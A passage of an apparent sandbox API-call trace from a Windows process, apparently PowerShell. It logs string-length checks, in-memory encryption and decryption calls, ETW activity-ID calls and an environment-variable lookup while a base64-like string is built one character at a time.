(param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xb57e\x9a4b\xa0b4\x510\xb817\xd47b\xc67f\x2c2c") returned 0x20 [0133.910] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.910] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnx篇麇ᦚ㨀邸") returned 0x20 [0133.910] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.910] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xddb7\x623\x48a9\xf392\xb726\xe56b\x70c6\x7303") returned 0x20 [0133.910] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xddb7\x623\x48a9\xf392\xb726\xe56b\x70c6\x7303") returned 0x20 [0133.910] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.911] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs麇ᦚ㨀邸") returned 0x20 [0133.911] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.911] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xd746\x6c73\xf906\x77e6\x57d9\xa029\x5cb1\x1ce6") returned 0x20 [0133.911] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xd746\x6c73\xf906\x77e6\x57d9\xa029\x5cb1\x1ce6") returned 0x20 [0133.911] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.911] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2ᦚ㨀邸") returned 0x20 [0133.911] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.911] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xc67\xd809\x607\x975b\xcd81\x5bda\x3f66\x9ae2") returned 0x20 [0133.911] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xc67\xd809\x607\x975b\xcd81\x5bda\x3f66\x9ae2") returned 0x20 [0133.911] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.911] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2f㨀邸") returned 0x20 [0133.911] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.911] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xf180\x6ce9\x525a\x23c1\xaad6\x87e4\x85b6\xa1e6") returned 0x20 [0133.911] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xf180\x6ce9\x525a\x23c1\xaad6\x87e4\x85b6\xa1e6") returned 0x20 [0133.911] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.912] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fv邸") returned 0x20 [0133.912] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.912] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x1324\xebd4\x4fb5\xfb5f\x8f10\xf7fe\xbcdf\x3584") returned 0x20 [0133.912] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x1324\xebd4\x4fb5\xfb5f\x8f10\xf7fe\xbcdf\x3584") returned 0x20 [0133.912] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.912] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv") returned 0x20 [0133.912] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.912] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5") returned 0x20 [0133.912] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5") returned 0x20 [0133.912] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5") returned 0x20 [0133.912] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x02") returned 0x28 [0133.912] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.912] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3❋ⶄⰃ쨫ꦩ⨵诊") returned 0x28 [0133.912] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.913] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x565b\x5c47\x81f2\x786f\x9dd1\xf005\x919b\x5e2f") returned 0x28 [0133.913] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x565b\x5c47\x81f2\x786f\x9dd1\xf005\x919b\x5e2f") returned 0x28 [0133.913] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.913] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3uⶄⰃ쨫ꦩ⨵诊") returned 0x28 [0133.913] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.913] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x90ee\x3d9\x8485\x444d\x3fc\xe9f9\xcfcf\xce12") returned 0x28 [0133.913] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x90ee\x3d9\x8485\x444d\x3fc\xe9f9\xcfcf\xce12") returned 0x28 [0133.913] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.913] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8Ⰳ쨫ꦩ⨵诊") returned 0x28 [0133.913] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.913] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\xba64\x6a3f\x2296\x2feb\xdf0e\xd011\xdca3\x7d66") returned 0x28 [0133.913] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\xba64\x6a3f\x2296\x2feb\xdf0e\xd011\xdca3\x7d66") returned 0x28 [0133.913] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.913] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b쨫ꦩ⨵诊") returned 0x28 [0133.913] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.913] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\xec92\x45de\x6ae7\x9135\xdffd\x6410\x6ba4\xf697") returned 0x28 [0133.913] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\xec92\x45de\x6ae7\x9135\xdffd\x6410\x6ba4\xf697") returned 0x28 [0133.914] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.914] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b4ꦩ⨵诊") returned 0x28 [0133.914] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.914] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x9acd\xb129\xbd4f\x8259\x3253\x9efa\x475f\xdee8") returned 0x28 [0133.914] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x9acd\xb129\xbd4f\x8259\x3253\x9efa\x475f\xdee8") returned 0x28 [0133.914] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.914] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b4o⨵诊") returned 0x28 [0133.914] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.914] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x7e92\x5ac4\xa2ca\xcfb8\xfa5c\x1041\x875e\x3ff3") returned 0x28 [0133.914] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x7e92\x5ac4\xa2ca\xcfb8\xfa5c\x1041\x875e\x3ff3") returned 0x28 [0133.914] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.914] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b4o8诊") returned 0x28 [0133.914] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.914] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x9e0b\x3929\x4d63\xb21d\xf2dd\x1f75\x9a0\xdd2") returned 0x28 [0133.914] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x9e0b\x3929\x4d63\xb21d\xf2dd\x1f75\x9a0\xdd2") returned 0x28 [0133.914] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.914] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b4o85") returned 0x28 [0133.914] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.915] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc") returned 0x28 [0133.915] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc") returned 0x28 [0133.915] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc") returned 0x28 [0133.915] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc") returned 0x30 [0133.915] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.915] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b4o85bၜ䉧劭亥验螚鐏") returned 0x30 [0133.915] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.915] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc\x8fa0\x41cc\xe5ba\xa059\x84de\x204b\xb687\x953") returned 0x30 [0133.915] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc\x8fa0\x41cc\xe5ba\xa059\x84de\x204b\xb687\x953") returned 0x30 [0133.915] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.915] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b4o85bF䉧劭亥验螚鐏") returned 0x30 [0133.915] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.915] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc\xe1c3\x3bb2\x6aa9\x29b0\x879\x4d75\x5d5d\x8fe9") returned 0x30 [0133.915] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc\xe1c3\x3bb2\x6aa9\x29b0\x879\x4d75\x5d5d\x8fe9") returned 0x30 [0133.915] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.915] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b4o85bFQ劭亥验螚鐏") returned 0x30 [0133.916] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.916] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc\x8c4\x86c8\xc736\x32aa\xb3ff\x1c70\x4735\x1190") returned 0x30 [0133.916] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc\x8c4\x86c8\xc736\x32aa\xb3ff\x1c70\x4735\x1190") returned 0x30 [0133.916] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.916] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUnxs2fvv3u8b4o85bFQ=亥验螚鐏") returned 0x30 [0133.916] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0133.916] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.916] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.916] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.916] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.917] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.917] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.917] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.917] SysStringLen (param_1="") returned 0x8 [0133.917] SysStringLen (param_1="Y") returned 0x8 [0133.917] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.917] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.917] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.917] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.918] SysStringLen (param_1="YW") returned 0x8 [0133.918] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.918] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.918] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.918] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.918] SysStringLen (param_1="YWM") returned 0x8 [0133.918] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.918] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.918] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.918] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.918] SysStringLen (param_1="YWM1") returned 0x8 [0133.918] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.918] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.918] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.918] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.918] SysStringLen (param_1="YWM1O") returned 0x8 [0133.918] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.918] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.918] SysStringLen 